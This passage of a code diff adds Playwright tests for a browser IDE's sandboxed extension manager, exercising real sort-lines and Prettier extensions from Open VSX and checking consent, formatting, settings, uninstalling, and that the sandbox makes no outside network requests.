240+ok('L7 …and the new version formats', await formatsTo('const z = { c: 3 };\n'), JSON.stringify(await value()));
241+
242+// ── L8: desactivar la extensión entera, y volver ──
243+await panel();
244+await installed(PRETTIER).locator('.ext-toggle').click();
245+await until(async () => (await record(PRETTIER))?.enabled === false);
246+await open('ugly.js');
247+await setValue('const x = {a:1}\n');
248+await sleep(800);
249+await formatDoc();
250+ok('L8 disabled: its code stops and the built-in formatter is back', !!(await until(async () => (await value()) === 'const x = { a: 1 }\n', { timeout: 10000 })), JSON.stringify(await value()));
251+await panel();
252+await installed(PRETTIER).locator('.ext-toggle').click();
253+await until(async () => (await record(PRETTIER))?.enabled === true && (await codeState(PRETTIER)) === 'running', { timeout: 60000 });
254+await open('ugly.js');
255+await setValue('const x = {a:1}\n');
256+ok('L8 enabled again: Prettier formats', await formatsTo('const x = { a: 1 };\n'), JSON.stringify(await value()));
257+
258+// ── L9: recargar ──
259+await openIde();
260+await open('ugly.js');
261+await setValue('const y = {b:2}\n');
262+ok('L9 after a reload Prettier runs and formats', await formatsTo('const y = { b: 2 };\n', 40), JSON.stringify(await value()));
263+await panel();
264+await until(async () => READY(await codeState(SORT)), { timeout: 60000 });
265+ok('L9 …and sort-lines is back too', !!(await sortFromPanel('z\ny', 'y\nz')), JSON.stringify(await value()));
266+
267+// ── L10: desinstalar ──
268+await panel();
269+await installed(SORT).locator('.ext-uninstall').click();
270+ok('L10 sort-lines uninstalled: no row, no files', !!(await until(async () => (await installed(SORT).count()) === 0)) && (await idbKeys(SORT + '@')) === 0);
271+ok('L10 the sandbox stays while Prettier runs', await page.evaluate(() => !!document.getElementById('x2-sandbox')));
272+await installed(PRETTIER).locator('.ext-uninstall').click();
273+await until(async () => (await installed(PRETTIER).count()) === 0);
274+const mirror = await page.evaluate(async () => (await import('/js/db.js')).get('kv', 'extensions'));
275+ok('L10 Prettier uninstalled: no files, no sandbox, nothing in kv', (await idbKeys(PRETTIER + '@')) === 0 && !!(await until(() => page.evaluate(() => !document.getElementById('x2-sandbox'))))
276+ && Array.isArray(mirror) && !mirror.length, JSON.stringify(mirror));
277+
278+// ── L11: privacidad ──
279+const vsx = outside.filter(o => o.url.startsWith(API) || /openvsx|eclipsecontent/.test(o.url));
280+const notPage = vsx.filter(o => !o.frame.startsWith(srv.codeOrigin));
281+ok('L11 only Code’s page talked to Open VSX (no request from the sandbox)', vsx.length > 0 && notPage.length === 0, JSON.stringify(notPage.slice(0, 3)));
282+// Code's own model store: the hidden iframe of the shared broker
283+// (js/runtime/model-broker.js) that Code's page opens, not level 2
284+const broker = o => o.url === 'https://models.elffuss.com/' && o.frame === '' && o.parent.startsWith(srv.codeOrigin) && o.method === 'GET';
285+const strangers = outside.filter(o => !vsx.includes(o) && !broker(o));
286+ok('L11 and nobody talked to anything else', strangers.length === 0, JSON.stringify(strangers.slice(0, 3)));
287+const sbx = [...new Set(srv.requests.filter(r => r.host.startsWith('localhost:')).map(r => r.url.split('?')[0]))];
288+ok('L11 the sandbox site was asked only for its two documents', sbx.length > 0 && sbx.every(u => u === '/x2/v1/sandbox.html' || u === '/x2/v1/exthost-iframe.html'), sbx.join(' '));
289+ok('L11 no page errors', errors.length === 0, errors.slice(0, 3).join(' | '));
290+
291+await browser.close();
292+await srv.close();
293+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
294+process.exit(fails ? 1 : 0);
added tests/x2_live.mjs +108 −0
@@ -0,0 +1,108 @@
1+// Nivel 2 con extensiones REALES de Open VSX (punto de control de B1):
2+// Tyriar.sort-lines 1.12.0 (un comando) y esbenp.prettier-vscode 12.4.0 (un
3+// formateador), con versión y SHA-256 fijadas, corriendo en el recinto.
4+//
5+// node tests/x2_live.mjs
6+//
7+// Necesita red la primera vez (luego usa tests/.cache/vsix/); sin red y sin
8+// caché, NOT RUN. Comprueba: el comando de sort-lines desde las entradas de
9+// la paleta de Code, Format Document con Prettier (y que sus ajustes llegan),
10+// la baliza a 0 y que del recinto solo se piden sus dos documentos.
11+import { chromium } from 'playwright';
12+import { startServer } from './lib/x2-server.mjs';
13+import { startBeacon } from './lib/beacon.mjs';
14+import { fetchVsix, readCode, seedReal, PINNED } from './lib/x2-vsix.mjs';
15+
16+let fails = 0;
17+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
18+const sleep = ms => new Promise(r => setTimeout(r, ms));
19+async function until(fn, { timeout = 30000, every = 200 } = {}) {
20+ const end = Date.now() + timeout;
21+ let v;
22+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
23+ return v;
24+}
25+
26+const pkgs = [];
27+for (const p of PINNED) {
28+ try { pkgs.push(await readCode((await fetchVsix({ ...p, offline: process.env.X2_OFFLINE === '1' })).bytes)); }
29+ catch (e) { console.log(`⏭️ NOT RUN x2_live — ${p.namespace}.${p.name}@${p.version}: ${e.message}`); process.exit(0); }
30+}
31+ok('SHA-256 de los dos .vsix coincide con la publicada y con la fijada', pkgs.length === 2);
32+
33+const srv = await startServer();
34+const beacon = await startBeacon();
35+const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] });
36+const ctx = await browser.newContext();
37+await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
38+const page = await ctx.newPage();
39+const errors = [], x2log = [];
40+page.on('console', m => { if (m.text().includes('[x2]')) x2log.push(m.text().slice(0, 600)); });
41+page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(JSON.stringify({ name: e.name, message: e.message, stack: String(e.stack || '').slice(0, 400) })); });
42+await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
43+await page.evaluate(async () => {
44+ const o = await navigator.storage.getDirectory();
45+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
46+ await w('fruits.txt', 'pear\napple\nfig\nbanana\ncherry\ndate\n');
47+ await w('ugly.js', 'const x = {a:1,b:[1,2,3]}\n');
48+});
49+for (const pkg of pkgs) await seedReal(page, pkg);
50+const since = srv.requests.length;
51+await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
52+await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
53+const open = p => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p);
54+const value = () => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue());
55+const state = () => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state());
56+
57+await open('fruits.txt');
58+const st = await until(async () => { const s = await state(); return s.state === 'running' || s.state === 'error' ? s : null; }, { timeout: 60000 });
59+ok('el recinto arranca con las dos extensiones', st?.state === 'running', JSON.stringify(st?.error));
60+
61+// sort-lines: su comando, desde las entradas de la paleta de Code
62+const entries = await until(async () => { const c = (await state()).commands; return c.some(e => e.id === 'sortLines.sortLines') ? c : null; });
63+ok('sort-lines aporta sus comandos a la paleta', !!entries && entries.length >= 10, entries ? entries.length + ' commands' : 'none');
64+await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 6, endColumn: 5 }); ed.focus(); });
65+await sleep(300);
66+await page.evaluate(async () => (await import('/js/ext2/bridge.js')).commands().find(e => e.id === 'sortLines.sortLines').run());
67+ok('Sort Lines (Tyriar.sort-lines) ordena el texto en el editor de Code', !!(await until(async () => (await value()) === 'apple\nbanana\ncherry\ndate\nfig\npear\n')), JSON.stringify(await value()));
68+
69+// Prettier: Format Document
70+await open('ugly.js');
71+await until(async () => (await state()).extensions.find(e => e.id === 'esbenp.prettier-vscode')?.state === 'active', { timeout: 60000 });
72+let formatted = null;
73+for (let i = 0; i < 20 && !formatted; i++) {
74+ await page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); });
75+ formatted = await until(async () => { const v = await value(); return v === 'const x = { a: 1, b: [1, 2, 3] };\n' ? v : null; }, { timeout: 1500 });
76+}
77+ok('Format Document con Prettier', !!formatted, JSON.stringify(await value()));
78+
79+// sus ajustes llegan al recinto: sin punto y coma
80+await page.evaluate(async () => {
81+ const store = await import('/js/ext/store.js');
82+ const rec = await store.get('esbenp.prettier-vscode');
83+ rec.settings = { 'prettier.semi': false };
84+ await store.put(rec, new Map());
85+ const host = await (await import('/js/ide.js')).loadExt();
86+ await host.setEnabled('esbenp.prettier-vscode', true);
87+});
88+await page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().setValue('const y = {a:1}\n'));
89+let semi = null;
90+for (let i = 0; i < 20 && !semi; i++) {
91+ await page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); });
92+ semi = await until(async () => { const v = await value(); return v === 'const y = { a: 1 }\n' ? v : null; }, { timeout: 1500 });
93+}
94+ok('los ajustes de la extensión llegan («prettier.semi»: false)', !!semi, JSON.stringify(await value()));
95+
96+await sleep(1000);
97+ok('baliza: 0 visitas', beacon.hits.length === 0, JSON.stringify(beacon.hits.slice(0, 3)));
98+const sandboxReqs = [...new Set(srv.requests.slice(since).filter(r => r.host.startsWith('localhost:')).map(r => r.url.split('?')[0]))];
99+ok('del recinto solo sus dos documentos', sandboxReqs.every(u => u === '/x2/v1/sandbox.html' || u === '/x2/v1/exthost-iframe.html'), sandboxReqs.join(' '));
100+ok('sin errores de página', errors.length === 0, errors.slice(0, 3).join(' | '));
101+const sandboxErrors = x2log.filter(t => /unhandled|uncaught/.test(t));
102+if (sandboxErrors.length) console.log('errores dentro del recinto (registro de la página):\n' + sandboxErrors.slice(0, 8).join('\n'));
103+
104+await browser.close();
105+await beacon.close();
106+await srv.close();
107+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
108+process.exit(fails ? 1 : 0);
added tests/x2_manager.mjs +299 −0
@@ -0,0 +1,299 @@
1+// Gestor de extensiones con código (parte B2): todo por el panel, con Open VSX
2+// simulado (tests/lib/openvsx-mock.mjs) que sirve los .vsix REALES fijados de
3+// Tyriar.sort-lines 1.12.0 y esbenp.prettier-vscode 12.4.0 (tests/.cache/vsix,
4+// SHA-256 comprobada) y tres manifiestos sintéticos.
5+//
6+// node tests/x2_manager.mjs (sin los .vsix en caché ni red: NOT RUN)
7+//
8+// Comprueba: buscar no carga nada del nivel 2; el detalle dice qué funcionará
9+// (R4); el consentimiento enseña el tamaño ANTES de bajar nada y Cancelar no
10+// cambia nada; instalar y ejecutar; los comandos con su botón «Ejecutar»;
11+// Prettier formatea; el formateador por lenguaje; los ajustes (validados);
12+// tras recargar todo vuelve solo; apagar el código de una; desinstalar (sin
13+// ficheros en IndexedDB y sin recinto al final); el filtro «Funciona en Code»;
14+// la suma SHA-256 obligatoria; «Necesita Node»; el ancho de un teléfono; y que
15+// a Open VSX solo le habla la página de Code, el recinto pide solo sus dos
16+// documentos y la baliza queda a 0.
17+import { chromium } from 'playwright';
18+import { startServer } from './lib/x2-server.mjs';
19+import { startBeacon } from './lib/beacon.mjs';
20+import { fetchVsix, PINNED } from './lib/x2-vsix.mjs';
21+import { mockOpenVsx } from './lib/openvsx-mock.mjs';
22+import { openZip } from '../web/js/ext/unzip.js';
23+import { parseJsonc } from '../web/js/ext/formats.js';
24+
25+let fails = 0;
26+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
27+const sleep = ms => new Promise(r => setTimeout(r, ms));
28+async function until(fn, { timeout = 30000, every = 200 } = {}) {
29+ const end = Date.now() + timeout;
30+ let v;
31+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
32+ return v;
33+}
34+
35+// ── paquetes ──
36+const packages = [];
37+for (const p of PINNED) {
38+ let v;
39+ try { v = await fetchVsix({ ...p, offline: process.env.X2_OFFLINE === '1' }); }
40+ catch (e) { console.log(`⏭️ NOT RUN x2_manager — ${p.namespace}.${p.name}@${p.version}: ${e.message}`); process.exit(0); }
41+ const zip = openZip(v.bytes, { maxEntry: 32 << 20, maxTotal: 64 << 20 });
42+ const manifest = parseJsonc(new TextDecoder().decode(await zip.read('extension/package.json')));
43+ packages.push({ namespace: p.namespace, name: p.name, version: p.version, manifest, vsix: v.bytes, published: v.sha256, downloadCount: 1000 });
44+}
45+const fake = (name, extra) => ({ namespace: 'elffuss-test', name, version: '1.0.0', keywords: ['elffuss-filter'], published: null,
46+ manifest: { name, publisher: 'elffuss-test', version: '1.0.0', displayName: 'Fake ' + name, engines: { vscode: '^1.80.0' }, ...extra } });
47+packages.push(
48+ fake('nodeonly', { main: './out/ext.js', contributes: { commands: [{ command: 'n.x', title: 'X' }] } }),
49+ fake('nohash', { browser: './web.js', contributes: { commands: [{ command: 'h.x', title: 'X' }] } }),
50+ fake('themeonly', { contributes: { themes: [{ label: 'T', uiTheme: 'vs-dark', path: './t.json' }] } }),
51+);
52+// el .vsix de nohash existe pero Open VSX no publica su suma
53+packages.find(p => p.name === 'nohash').vsix = packages[0].vsix;
54+
55+const srv = await startServer();
56+const beacon = await startBeacon();
57+const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] });
58+const ctx = await browser.newContext({ viewport: { width: 1280, height: 860 } });
59+await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
60+const mock = await mockOpenVsx(ctx, packages);
61+const page = await ctx.newPage();
62+const requests = [], errors = [];
63+ctx.on('request', r => requests.push(r.url()));
64+page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(e.message); });
65+const x2errors = []; // lo que el recinto avisa por consola ([x2] …)
66+page.on('console', m => { if (/\[x2\]/.test(m.text()) && /already exists|ext\.add/.test(m.text())) x2errors.push(m.text().slice(0, 200)); });
67+page.on('dialog', d => d.accept()); // confirmar desinstalar
68+await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
69+await page.evaluate(async () => {
70+ const o = await navigator.storage.getDirectory();
71+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
72+ await w('fruits.txt', 'pear\napple\nfig\n');
73+ await w('ugly.js', 'const x = {a:1,b:[1,2,3]}\n');
74+});
75+const openIde = async () => {
76+ await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
77+ await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
78+};
79+await openIde();
80+const open = p => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p);
81+const value = () => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue());
82+const setValue = v => page.evaluate(v => window.monaco.editor.getEditors()[0].getModel().setValue(v), v);
83+const formatDoc = () => page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); });
84+const L2 = u => /\/vendor\/x2\/|\/js\/ext2\//.test(u);
85+// abrir un fichero cierra el panel (como siempre): se vuelve a abrir para usarlo
86+const panel = async () => { await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); }); await until(() => page.evaluate(() => !document.getElementById('settings-panel').hidden && !!document.getElementById('ext-panel'))); };
87+const row = id => page.locator(`#ext-results .ext-row[data-id="${id}"]`);
88+const installed = id => page.locator(`#ext-installed .ext-row[data-id="${id}"]`);
89+const search = async q => { await page.fill('#ext-q', q); await page.press('#ext-q', 'Enter'); };
90+const codeState = id => page.evaluate(id => document.querySelector(`#ext-installed .ext-row[data-id="${id}"] .ext-x2-state`)?.textContent || null, id);
91+const idbKeys = prefix => page.evaluate(prefix => new Promise((res, rej) => {
92+ const r = indexedDB.open('elffuss-code-ext', 1);
93+ r.onsuccess = () => { const q = r.result.transaction('files').objectStore('files').getAllKeys(); q.onsuccess = () => { res(q.result.filter(k => String(k).startsWith(prefix)).length); r.result.close(); }; q.onerror = () => rej(q.error); };
94+ r.onerror = () => rej(r.error);
95+}), prefix);
96+
97+// ── M1–M5: buscar, detalle, consentimiento ──
98+await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); });
99+await until(() => page.evaluate(() => !!document.getElementById('ext-panel')));
100+ok('M1 sin extensiones con código, la explicación de siempre (que ya dice que su código solo corre si lo enciendes)', /No extension code runs unless you turn it on for one extension/.test(await page.textContent('#ext-panel .ext-intro')));
101+requests.length = 0;
102+await search('sort');
103+await until(async () => (await row('Tyriar.sort-lines').count()) === 1);
104+ok('M2 buscar no carga nada del nivel 2', !requests.some(L2), requests.filter(L2).join(' '));
105+await row('Tyriar.sort-lines').locator('.ext-name').click();
106+const det1 = await until(async () => { const t = await row('Tyriar.sort-lines').locator('.ext-detail').innerText(); return /Not tested in Code yet/.test(t) ? t : null; });
107+ok('M3 el detalle dice qué funcionará: se ejecuta en el recinto con sus comandos, aún no probada', !!det1 && /Runs in Code’s sandbox: \d+ commands/.test(det1) && /No internet; sees only the files you open/.test(det1), det1);
108+const btns = await row('Tyriar.sort-lines').evaluate(r => ({ code: r.querySelector('.ext-install-code')?.textContent, install: r.querySelector('.ext-install')?.getAttribute('aria-disabled'), why: r.querySelector('.ext-install')?.title }));
109+ok('M3b «Instalar y ejecutar su código…»; «Instalar» a secas queda inerte (solo trae código)', btns.code === 'Install and run its code…' && btns.install === 'true' && /only brings code/.test(btns.why), JSON.stringify(btns));
110+ok('M3c abrir el detalle no baja el recinto ni lo abre', !requests.some(u => u.includes('/vendor/x2/')) && !requests.some(u => u.startsWith(srv.sandboxOrigin)));
111+await row('Tyriar.sort-lines').locator('.ext-install-code').click();
112+const consent = await until(() => page.evaluate(() => {
113+ const d = document.querySelector('#x2-consent [role="dialog"]');
114+ // (lo que pesa la extensión llega de una petición HEAD, sin hacer esperar al diálogo)
115+ return d && /This extension: \d/.test(d.textContent) ? { text: d.textContent, focused: document.activeElement?.textContent, buttons: [...d.querySelectorAll('button')].map(b => b.textContent) } : null;
116+}));
117+ok('M4 consentimiento: qué verá, sin internet, el tamaño del recinto y que se baja al aceptar', !!consent && /Run the code of Sort lines\?/.test(consent.text) && /can’t read your project, conversations or keys/.test(consent.text)
118+ && /Code’s extension runtime: 2\.6 MB, downloaded once and then cached/.test(consent.text) && /downloaded from Open VSX when you accept/.test(consent.text)
119+ && consent.focused === 'Cancel' && consent.buttons.join() === 'Cancel,Install and run code', JSON.stringify(consent));
120+const mbOf = n => (n / 1e6).toFixed(1) + ' MB';
121+ok('M4a …y lo que pesa la extensión, antes de bajarla (una petición HEAD)', consent.text.includes(`This extension: ${mbOf(packages[0].vsix.length)}, downloaded from Open VSX when you accept`) && mock.sizeLookups().length === 1, JSON.stringify({ text: consent.text.slice(-200), heads: mock.sizeLookups() }));
122+ok('M4b con el diálogo abierto todavía no se ha bajado nada', !requests.some(u => u.includes('/vendor/x2/')) && !mock.downloads().length);
123+await page.keyboard.press('Escape');
124+await sleep(500);
125+ok('M5 Cancelar: nada instalado ni bajado', (await installed('tyriar.sort-lines').count()) === 0 && !mock.downloads().length && !requests.some(u => u.includes('/vendor/x2/')));
126+
127+// ── M6–M8: instalar sort-lines y ejecutar su comando desde el panel ──
128+await row('Tyriar.sort-lines').locator('.ext-install-code').click();
129+await until(() => page.evaluate(() => !!document.querySelector('#x2-consent')));
130+await page.click('#x2-consent button:has-text("Install and run code")');
131+// sort-lines arranca con su primer comando: «lista» hasta entonces
132+const READY = s => s === 'running' || s === 'ready (starts when first used)';
133+const st1 = await until(async () => { const s = await codeState('tyriar.sort-lines'); return READY(s) ? s : null; }, { timeout: 90000 });
134+ok('M6 instalada con su código: el recinto arrancó y ella está lista', !!st1, String(await codeState('tyriar.sort-lines')));
135+ok('M6a aceptar en el diálogo no cierra el panel de extensiones', !(await page.evaluate(() => document.getElementById('settings-panel').hidden)));
136+ok('M6b la explicación del panel pasa a la del nivel 2', /sealed sandbox on a separate site/.test(await page.textContent('#ext-panel .ext-intro')));
137+const vendorReqs = requests.filter(u => u.includes('/vendor/x2/'));
138+ok('M6c el recinto se bajó una vez (3 ficheros verificados)', vendorReqs.length === 3, vendorReqs.join(' '));
139+const cmds = await until(async () => { const c = await installed('tyriar.sort-lines').locator('.ext-x2-cmds li').allInnerTexts(); return c.length >= 10 ? c : null; });
140+ok('M7 sus comandos, cada uno con su botón Ejecutar (también en el teléfono)', !!cmds && cmds.some(t => /Sort lines \(ascending, case sensitive\)/.test(t)), JSON.stringify(cmds?.slice(0, 3)));
141+await open('fruits.txt');
142+await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 3, endColumn: 4 }); });
143+await sleep(300);
144+await panel();
145+await installed('tyriar.sort-lines').locator('[data-k="cmd:sortLines.sortLines"]').click();
146+ok('M8 Ejecutar desde el panel ordena el fichero abierto', !!(await until(async () => (await value()) === 'apple\nfig\npear\n')), JSON.stringify(await value()));
147+
148+// ── M9–M13: Prettier ──
149+await panel();
150+await search('prettier');
151+await until(async () => (await row('esbenp.prettier-vscode').count()) === 1);
152+await row('esbenp.prettier-vscode').locator('.ext-name').click();
153+const det2 = await until(async () => { const t = await row('esbenp.prettier-vscode').locator('.ext-detail').innerText(); return /Tested in Code/.test(t) ? t : null; });
154+ok('M9 Prettier: lo declarativo, el código en el recinto y el resultado del censo (formateador)', !!det2 && /Works now \(no code\): \d+ languages?/.test(det2) && /Runs in Code’s sandbox/.test(det2) && /Tested in Code: starts.*formatter/.test(det2), det2);
155+await row('esbenp.prettier-vscode').locator('.ext-install-code').click();
156+const consent2 = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-consent [role="dialog"]'); return d && /This extension: \d/.test(d.textContent) ? { text: d.textContent, buttons: [...d.querySelectorAll('button')].map(b => b.textContent) } : null; }));
157+ok('M10 su tamaño (el del .vsix, antes de bajarlo) y la opción de instalarla sin su código', !!consent2 && consent2.text.includes(`This extension: ${mbOf(packages.find(p => p.name === 'prettier-vscode').vsix.length)}, downloaded`) && consent2.buttons.includes('Install without its code'), JSON.stringify(consent2));
158+await page.click('#x2-consent button:has-text("Install and run code")');
159+await until(async () => ((await codeState('esbenp.prettier-vscode')) === 'running' ? 1 : null), { timeout: 90000 });
160+await open('ugly.js');
161+let formatted = null;
162+for (let i = 0; i < 20 && !formatted; i++) { await formatDoc(); formatted = await until(async () => ((await value()) === 'const x = { a: 1, b: [1, 2, 3] };\n' ? 1 : null), { timeout: 1500 }); }
163+ok('M11 Format Document con Prettier', !!formatted, JSON.stringify(await value()));
164+// formateador por lenguaje: el de serie para javascript, y vuelta a Prettier
165+await panel();
166+const fmt = installed('esbenp.prettier-vscode').locator('.ext-x2-fmt');
167+await until(async () => (await fmt.count()) === 1);
168+await fmt.locator('summary').click();
169+await fmt.locator('[data-k="fmt:javascript"]').selectOption('builtin');
170+await setValue('const y = {a:1}\n');
171+await sleep(800);
172+await formatDoc();
173+ok('M12 «el de serie» para javascript: formatea Monaco, sin el punto y coma de Prettier', !!(await until(async () => ((await value()) === 'const y = { a: 1 }\n' ? 1 : null), { timeout: 8000 })), JSON.stringify(await value()));
174+await installed('esbenp.prettier-vscode').locator('.ext-x2-fmt').evaluate(d => { d.open = true; });
175+await installed('esbenp.prettier-vscode').locator('[data-k="fmt:javascript"]').selectOption('extension');
176+await setValue('const y = {a:1}\n');
177+await sleep(800);
178+let back = null;
179+for (let i = 0; i < 10 && !back; i++) { await formatDoc(); back = await until(async () => ((await value()) === 'const y = { a: 1 };\n' ? 1 : null), { timeout: 1500 }); }
180+ok('M12b y de vuelta a Prettier', !!back, JSON.stringify(await value()));
181+// ajustes en JSON, validados contra los que declara Prettier
182+const settings = installed('esbenp.prettier-vscode').locator('.ext-x2-settings');
183+await settings.locator('summary').click();
184+await settings.locator('textarea').fill('{"prettier.nope": 1}');
185+await settings.locator('[data-k="x2save"]').click();
186+const bad = await until(async () => { const t = await settings.locator('.ext-x2-msg').textContent(); return /unknown setting/.test(t) ? t : null; });
187+ok('M13 un ajuste que la extensión no declara se rechaza', !!bad && (await settings.locator('.ext-x2-msg').getAttribute('role')) === 'alert', String(bad));
188+await installed('esbenp.prettier-vscode').locator('.ext-x2-settings').evaluate(d => { d.open = true; });
189+await installed('esbenp.prettier-vscode').locator('.ext-x2-settings textarea').fill('{"prettier.singleQuote": true}');
190+await installed('esbenp.prettier-vscode').locator('.ext-x2-settings [data-k="x2save"]').click();
191+await until(async () => /Settings applied/.test(await installed('esbenp.prettier-vscode').locator('.ext-x2-msg').textContent()));
192+await setValue('const s = "a"\n');
193+let quoted = null;
194+for (let i = 0; i < 20 && !quoted; i++) { await formatDoc(); quoted = await until(async () => ((await value()) === "const s = 'a';\n" ? 1 : null), { timeout: 1500 }); }
195+ok('M13b sus ajustes llegan a la extensión («prettier.singleQuote»)', !!quoted, JSON.stringify(await value()));
196+
197+// ── M14: al recargar todo vuelve solo (instaladas, encendidas, con sus ajustes) ──
198+await openIde();
199+await open('ugly.js');
200+await until(() => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state().state === 'running'), { timeout: 90000 });
201+await setValue('const t = "b"\n');
202+let again = null;
203+for (let i = 0; i < 30 && !again; i++) { await formatDoc(); again = await until(async () => ((await value()) === "const t = 'b';\n" ? 1 : null), { timeout: 1500 }); }
204+ok('M14 tras recargar: el recinto arranca solo con las dos y los ajustes siguen', !!again, JSON.stringify(await value()));
205+await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); });
206+await until(async () => READY(await codeState('tyriar.sort-lines')) && (await codeState('esbenp.prettier-vscode')) === 'running', { timeout: 60000 });
207+
208+// ── M15: el ancho de un teléfono ──
209+await page.setViewportSize({ width: 390, height: 844 });
210+await sleep(500);
211+const phone = await page.evaluate(() => ({ sw: document.documentElement.scrollWidth, w: window.innerWidth, runBtn: !!document.querySelector('#ext-installed .ext-x2-cmd') }));
212+ok('M15 a 390 px: sin desplazamiento horizontal y con los botones Ejecutar a mano', phone.sw <= phone.w && phone.runBtn, JSON.stringify(phone));
213+await page.setViewportSize({ width: 1280, height: 860 });
214+
215+// ── M16–M18: apagar, desinstalar ──
216+await installed('tyriar.sort-lines').locator('[data-k="x2run"]').click();
217+// (quitar una extensión del host de extensiones no para su código: el recinto
218+// se rehace con las demás, así que la otra vuelve a «en marcha» enseguida)
219+ok('M16 apagar el código de una: queda instalada y apagada; la otra sigue', !!(await until(async () => (await codeState('tyriar.sort-lines')) === 'off'))
220+ && !!(await until(async () => (await codeState('esbenp.prettier-vscode')) === 'running', { timeout: 60000 }))
221+ && !(await page.evaluate(() => (window.elffussClaw?.commands || []).some(c => c.x2 === 'tyriar.sort-lines'))));
222+await open('fruits.txt');
223+await setValue('zz\nyy\n');
224+await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 2, endColumn: 3 }); });
225+await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('sortLines.sortLines'));
226+await sleep(800);
227+ok('M16b y su código está parado de verdad: su comando ya no hace nada en el recinto', (await value()) === 'zz\nyy\n', JSON.stringify(await value()));
228+await panel();
229+// volver a encenderla en la misma sesión (el recinto sigue en marcha por Prettier):
230+// sus ficheros se vuelven a registrar y sus comandos funcionan
231+await installed('tyriar.sort-lines').locator('[data-k="x2run"]').click();
232+const back2 = await until(async () => { const s = await codeState('tyriar.sort-lines'); return READY(s) ? s : null; }, { timeout: 30000 });
233+await open('fruits.txt');
234+await setValue('zz\nyy\n');
235+await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 2, endColumn: 3 }); });
236+await panel();
237+await installed('tyriar.sort-lines').locator('[data-k="cmd:sortLines.sortLines"]').click();
238+ok('M16c apagar y volver a encender su código en la misma sesión: vuelve a funcionar, sin ficheros «que ya existen»', !!back2 && !!(await until(async () => (await value()) === 'yy\nzz\n')) && x2errors.length === 0, JSON.stringify({ back2, v: await value(), x2errors: x2errors.slice(0, 2) }));
239+await installed('tyriar.sort-lines').locator('.ext-uninstall').click();
240+ok('M17 desinstalar sort-lines: sin fila y sin ficheros en IndexedDB', !!(await until(async () => (await installed('tyriar.sort-lines').count()) === 0)) && (await idbKeys('tyriar.sort-lines@')) === 0);
241+await installed('esbenp.prettier-vscode').locator('.ext-uninstall').click();
242+await until(async () => (await installed('esbenp.prettier-vscode').count()) === 0);
243+ok('M18 desinstalar la última: sin recinto, sin ficheros y la explicación de siempre', !!(await until(() => page.evaluate(() => !document.getElementById('x2-sandbox'))))
244+ && (await idbKeys('esbenp.prettier-vscode@')) === 0 && /No extension code runs unless you turn it on for one extension/.test(await page.textContent('#ext-panel .ext-intro')));
245+
246+// ── M19–M21: filtro, suma obligatoria, Node ──
247+await search('elffuss-filter');
248+await until(async () => (await page.locator('#ext-results .ext-row').count()) === 3);
249+await page.click('#ext-works');
250+const filtered = await until(async () => {
251+ const ids = await page.locator('#ext-results .ext-row').evaluateAll(rs => rs.filter(r => !r.hidden).map(r => r.dataset.id));
252+ const head = await page.textContent('#ext-results .sk-h');
253+ return ids.length === 2 && /checked 3 of 3/.test(head) ? { ids, head } : null;
254+});
